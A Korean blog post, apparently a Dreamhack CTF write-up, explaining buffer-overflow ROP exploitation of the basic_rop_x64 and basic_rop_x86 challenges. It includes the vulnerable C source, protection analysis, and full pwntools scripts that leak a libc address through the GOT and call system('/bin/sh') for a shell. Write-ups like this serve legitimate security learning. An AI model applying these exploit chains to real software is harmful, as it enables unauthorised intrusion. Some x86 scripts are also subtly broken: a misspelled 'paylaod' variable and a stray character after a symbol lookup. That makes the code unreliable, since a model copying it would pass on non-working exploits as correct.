Pwn
[PWN Dreamhack] basic_rop_x64 & basic_rop_x86
2025. 3. 10. 22:57

basic_rop_x64

https://dreamhack.io/wargame/challenges/29

Analysis

차근차근 분석해보장 :)

보호기법 확인 : checksec 사용

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
  • ASLR과 NX가 적용되어있다.
    • ASLR : 실행 시마다 스택, 라이브러리 등의 주소가 랜덤화
      • system 함수의 주소가 계속 변하게 되지만 ASLR로 인해 변경되는 주소는 라이브러리가 배핑된 Base주소이고, 이에따라 라이브러리 내부함수들의 offset값은 변경 X
        • Base 주소 + system함수의 offset 으로 system 함수의 바이너리에서의 주소를 구할 수 있다.
    • NX : 임의의 위치에 셸코드를 집어넣은 후 그 주소의 코드를 바로 실행X ⇒ ROP 이용하여 해결해보자.

Code

// basic_rop_x64.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}
  • buf에 입력을 받고, buf의 값을 출력한다.
  • buf[0x40]에 0x400만큼 입력가능 ⇒ bof 발생
  • read가 실행된 이후 read 함수의 주소는 GOT에 등록되어있기 때문에, read 함수의 GOT값을 읽으면 read 함수의 주소를 구할 수 있다.

  • buf의 위치는 rbp-0x40 이다.

  • buf에서 RET 까지의 거리는 0x48이다.

/bin/sh 문자열 주소 계산하기

  1. gdp-gef 기준으로 search-pattern "/bin/sh" 로 구할 수 있다.
    • 0x7ffff7f5a678
  2. libc = ELF("./libc.so.6", checksec=False) -> sh = list(libc.search(b"/bin/sh"))[0] 로 구할 수 있다.

ret2main

  • ret2main : 라이브러리의 base 주소를 모르기 때문에 ret2main 기법을 사용하여 원하는 정보를 얻은 후, 다시 main 함수로 돌아와 원하는 명령어를 계속 이어 나간다.
    • 먼저 write 함수 또는 puts 함수를 사용해 libc_base를 구한 후 이용하여 system 함수와 문자열의 주소를 계산해 준다.
    • 두번째 main 함수 시작시 bof를 이용해 system 함수를 호출하게 만든다.

Exploit

공격 시나리오

1. ROP chaining: puts(read_got) -> call main
2. libc_base 구하고, system함수와 "/bin/sh" 문자열 addr 구하기
3. ROP chaining: system("/bin/sh")

잘 안되면, context.log_level = 'debug' 나 gdb.attach(p) 를 이용해 디버깅해보거나, 한줄씩 recvline()을 출력해보자.

from pwn import *

p = remote('host1.dreamhack.games',20673)
#p = process('./basic_rop_x64')
libc = ELF('./libc.so.6')
e = ELF('./basic_rop_x64')
# context.log_level = 'debug'

rop = ROP(e)
pop_rdi = (rop.find_gadget(['pop rdi','ret']))[0]
ret = (rop.find_gadget(['ret']))[0]

read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = e.symbols["main"]

# overwrite buf
payload = b'A'*0x40 + b'B'*0x8  # dummy
payload += p64(pop_rdi) + p64(read_got) # rdi = &read_got
payload += p64(puts_plt)    # call puts(read@got) read@got 위치 출력
payload += p64(main_addr)   # call main

p.sendline(payload)
# pause()

## Base addr ?
print(p.recvuntil(b'A' * 0x40)) # write(1, buf, 0x40) 가 호출될테니까..

#leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
leak = u64(p.recvline()[:-1] + b'\x00\x00') - libc.symbols['read']

## System addr ?
system = leak + libc.symbols['system']

## "/bin/sh" addr ?
binsh = leak + next(libc.search(b'/bin/sh'))

log.info(f'Libc base : {hex(leak)}')
log.info(f'system addr : {hex(system)}')
log.info(f'binsh addr : {hex(binsh)}')

# overwrite buf 2
payload2 = b'A'*0x40 + b'B'*0x8
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(ret)
payload2 += p64(system)

p.sendline(payload2)
# pause()

p.interactive()

basic_rop_x86

https://dreamhack.io/wargame/challenges/30

32bit 함수 규약

  • 64bit와 다르게, EBP와 ESP를 이용하여 프레임별로 사용중인 스택 영역을 확인 가능
  • 인자가 stack으로 전달되기 때문에, 함수를 연속해서 호출하려면 esp위치를 맞춰줘야한다,
    • 32bit에서 가젯의 용도는 오로지 esp값을 증가시키는 것이므로 pop 대신 add를 사용해도된다.
  • cdecl (default)
    • caller 쪽에서 스택 정리
    • 매개변수를 stack에 push하여 함수 호출시 전달
    • 메인에서 esp를 사용하여 스택 정리
  • stdcall
    • callee 쪽에서 스택 정리
    • 매개변수를 stack에 push하여 함수 호출시 전달
    • add함수의 return 명령에 정리할 스택 크기를 포함시켜 정리
  • fastcall
    • stdcall 방식과 같음
    • 파라미터 두개를 ecx, edx에 저장한 후 stack에 push하여 함수 호출시 전달

x86기준 ROP 방식?

참고

  • Gadgets
    • 호출 하는 함수의 인자가 3개 일 경우 : "pop; pop; pop; ret"
    • 호출 하는 함수의 인자가 2개 일 경우 : "pop; pop; ret"
    • 호출 하는 함수의 인자가 1개 일 경우 : "pop; ret"
    • 호출 하는 함수의 인자가 없을 경우 : "ret"
  • 익스플로잇 방법
    1. read로 /bin/sh을 쓰기 가능 메모리 영역에 저장
      • 쓰기 가능한 메모리 공간 알아내기
        • gdb에서 vmmap으로 w 영역 확인하기
        • readelf -S [파일명]으로 .bss(초기화되지않은 쓰기영역)의 주소확인하여 w영역 내에 속했는지 보고 /bin/sh을 넣을 시작 주소로 잡는다.
      • pop;pop;pop;ret 가젯 위치 알아내기
    2. write로 read.got에 저장된 값 출력 (실제 read 주소)
      • read(), write() 함수의 plt, got
        • plt는 동적 링커가 공유 라이브러리의 함수를 호출하기 위한 코드가 저장되어있다.
    3. read로 read.got에 system 함수 주소로 덮어쓰기
      • system 함수 주소 알아내기
    4. read 호출하기(system이 실행됨)

Analysis

분석하기

Code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}
  1. buf 크기 0x40 , 0x400만큼 입력받음 => bof 발생
  2. 0x40 만큼 buf 출력

보호기법 확인

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
  • NX 기법 적용 -> stack에서 쉘코드 실행 불가 -> ROP로 우회

stack 구조

  • buf에서부터 ret까지 거리는 0x48
  • pr : 0x0804868b
  • ppr : 0x08048689

Exploit

공격 시나리오

1. ROP chaining : write(1,read_got,len(str(read_got))로 libc_base 구하고, system함수와 "/bin/sh" 문자열 addr 구하기
2. ret2main
3. ROP chaining: system("/bin/sh")

1. ROP chaining : write(1,read_got,len)로 필요한 주소 계산하기

  • gdb에서 search-pattern "/bin/sh"를 하여 확인할 수 있다.
# 1. write(1,read_got,len(str(read_got))) -> main
payload = b'A'*0x40 + b'B'*0x4 + b'D'*0x4
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
payload += p32(main)    # ret2main

p.sendline(payload)

p.recvuntil(b'DDDD')

# 2. leak
leak = u32(p.recv(4))
libc_base = leak - libc.symbols['read']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

2. ROP chaining : system('/bin/sh')

# 3. system('/bin/sh')
payload = b'A'*0x40 + b'B'*0x4 + b'D'*0x4
paylaod += p32(system)
payload += p32(pop)
payload += p32(binsh)

p.sendline(payload)

전체 exploit

from pwn import *

#context.log_level = 'debug'
p = process('./basic_rop_x86',env={"LD_PRELOAD":"./libc.so.6"})
#p = remote('host3.dreamhack.games',12513)

#gdb.attach(p)

e = ELF('./basic_rop_x86')
#rop = ROP(e)
libc = ELF('./libc.so.6')

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
main = e.symbols['main']

pppr = 0x08048689   # rop.find_gadget(['pop esi';'pop edi';'pop ebp'])[0]
pop = 0x804868b

stdin = 0
stdout = 1

#pause()

# 1. write(1,read_got,len(str(read_got))) -> main
payload = b'A'*0x40 + b'B'*0x4 + b'D'*0x4
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
payload += p32(main)

p.sendline(payload)

p.recvuntil(b'DDDD')

# 2. leak
leak = u32(p.recv(4))
libc_base = leak - libc.symbols['read']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

# 3. system('/bin/sh')
payload = b'A'*0x40 + b'B'*0x4 + b'D'*0x4
paylaod += p32(system)
payload += p32(pop)
payload += p32(binsh)

p.sendline(payload)

p.interactive()

exploit ver2

다른 사람코드보면서 풀어본 방식인데, 코드가 매우 마음에 안들어서 그냥 위 방식대로 풀었음

쓰기 가능 영역 구하기

  • gdb에서 vmmap 으로 각 영역의 권한 확인하기
    • 0x0804a000 ~ 0x0804b000 까지가 쓰기 가능영역이다.
  • readelf -S [파일명]
    • 일반적으로 .bss영역이 쓰기 가능영역인데, 쓰기 영역에 포함되므로 해당주소를 “/bin/sh” 문자열을 저장할 주소로 사용해도 될 듯.
      • 0x0804a040
      • bss = e.bss()

전체 exploit

from pwn import *
#context.log_level = 'debug'
p = process('./basic_rop_x86',env={"LD_PRELOAD":"./libc.so.6"})

e = ELF('./basic_rop_x86')
rop = ROP(e)
libc = ELF('./libc.so.6')

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
main_addr = e.symbols['main']

binsh = b"/bin/sh\x00"

pppr = 0x08048689   # rop.find_gadget(['pop esi';'pop edi';'pop ebp'])[0]
# pop = 0x804868b
bss = 0x0804a040    # e.bss()

stdin = 0
stdout = 1

payload = b'A'*0x40 + b'B'*0x4 + b'D'*0x4

# write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)

# read(0, bss, len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(bss)
payload += p32(8)

# read(0,read_got, len(str(write_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(4)

# system(bss)
payload += p32(read_plt)
payload += p32(0xdeadbeef)  # 아무 주소로 ret 값을 입력하여 종료시킨다.
payload += p32(bss)

p.send(payload)


p.recvn(0x40)
leak = u32(p.recvn(4))
libc_base = leak - libc.symbols['read']r

system = libc_base + libc.symbols['system']

p.send(binsh)   # bss영역에 binsh 작성
p.sendline(p32(system))

p.interactive()

'Pwn' 카테고리의 다른 글

CTF 문제풀이에서 Dockerfile 활용법  (0) 2025.03.13
[PWN Dreamhack] PIE & RELRO  (0) 2025.03.13
ROP 완벽 이해와 추가 예제 풀이  (0) 2025.02.26
[PWN Dreamhack] RTL, ROP  (0) 2025.02.22
[PWN Dreamhack] Stack Canary  (0) 2025.02.21
let textNodes = document.querySelectorAll("div.tt_article_useless_p_margin.contents_style > *:not(figure):not(pre)"); textNodes.forEach(function(a) { a.innerHTML = a.innerHTML.replace(/`(.*?)`/g, '$1'); });